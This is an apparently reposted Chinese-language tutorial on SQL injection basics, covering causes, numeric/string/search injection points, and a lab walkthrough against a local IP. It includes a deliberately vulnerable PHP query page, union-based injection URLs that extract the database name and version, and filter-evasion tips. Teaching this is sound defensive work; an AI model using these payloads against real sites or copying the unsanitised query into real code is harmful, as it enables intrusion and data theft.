您好,登錄后才能下訂單哦!
這篇文章給大家介紹sql注入漏洞的基礎是什么,內容非常詳細,感興趣的小伙伴們可以參考借鑒,希望對大家能有所幫助。
一、簡介
SQL注入,就是通過把SQL命令插入到Web表單遞交或輸入域名或頁面請求的查詢字符串,最終達到欺騙服務器執行惡意的SQL命令。
二、產生的原因
1.程序在開發的時候沒對用戶的數據過濾,把用戶的數據都當做可信數據。
2.過濾不嚴格。
3.數據庫配置不當。
4.轉義不當。
三、注入點分類
1、數字型注入:
在 Web 端大概是 http://www.aiyou.com/news.php?id=1 這種形式,其注入點 id 類型為數字,所以叫數字型注入點。這一類的 SQL 語句原型大概為 select * from 表名 where id=1。組合出來的sql注入語句為:select * from news where id=1
2、字符型注入:
在 Web 端大概是 http://www.aiyou.com/news.php?name=aiyou 這種形式,其注入點 name 類型為字符類型,所以叫字符型注入點。這一類的 SQL 語句原型大概為 select * from 表名 where name='aiyou'。注意多了引號。組合出來的sql注入語句為:select * from news where name='admin'
3、搜索型注入:
在 Web 端大概是 http://www.aiyou.com/news.php?keyword=aiyou 這種形式,其原形大致為:select * from 表名 where 字段 like '%aiyou%',組合出來的sql注入語句為:select * from news where search like '%aiyou %'
四、數字型實例
1、新建一個根據id查詢專輯的php頁面
<meta charset="utf-8"><?phpinclude("connect.php");//連接數據庫if(isset($_GET['id'])){ $id=$_GET['id']; $sql="SELECT * FROM zhuanji WHERE id=$id LIMIT 0,1"; $result=mysql_query($sql); $row = mysql_fetch_array($result); if($row) { echo '專輯名稱:'. $row['name']; echo ""; echo '發行時間:' .$row['year']; echo ""; echo '主 打 歌:' .$row['zhudage']; } else { print_r(mysql_error()); }} else { echo "網址錯誤"; }?>
2、訪問:http://192.168.1.129/php/szx.php?id=1
3、測試注入是否存在
http://192.168.1.129/php/szx.php?id=1 and 1=1 返回正常
http://192.168.1.129/php/szx.php?id=1 and 1=2 返回錯誤
存在注入
4、判斷該表的列數
http://192.168.1.129/php/szx.php?id=1 order by 5 返回錯誤
http://192.168.1.129/php/szx.php?id=1 order by 4 返回正常
該表有4列
5、聯合查詢
http://192.168.1.129/php/szx.php?id=-1 union select 1,2,3,4
6、獲取數據庫名稱和mysql版本號
http://192.168.1.129/php/szx.php?id=-1 union select 1,database(),version(),4
五、mysql5.0以上版本的特性:
默認定義information_schema數據庫,里面具有表schemata(數據庫名)、tables(表名)、columns(列名或字段名)
在schemata表中,schema_name字段用來存儲數據庫名
在tables表中,table_schema和table_name分別用來存儲數據庫名和表名。
在columns表中,tabel_schema存儲數據庫名,table_name存儲表名,column_name存儲字段名
注意:
1、Mysql中的大小寫不敏感,大小寫一樣
2、Mysql中的十六進制與URL編碼都可以識別。
3、符號和關鍵字替換 and--&& or--||,and優先級高于or
4、內聯注釋 /*!內聯注釋*/ ,/*!/*!*/是等效于/*!*/的
關于sql注入漏洞的基礎是什么就分享到這里了,希望以上內容可以對大家有一定的幫助,可以學到更多知識。如果覺得文章不錯,可以把它分享出去讓更多的人看到。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。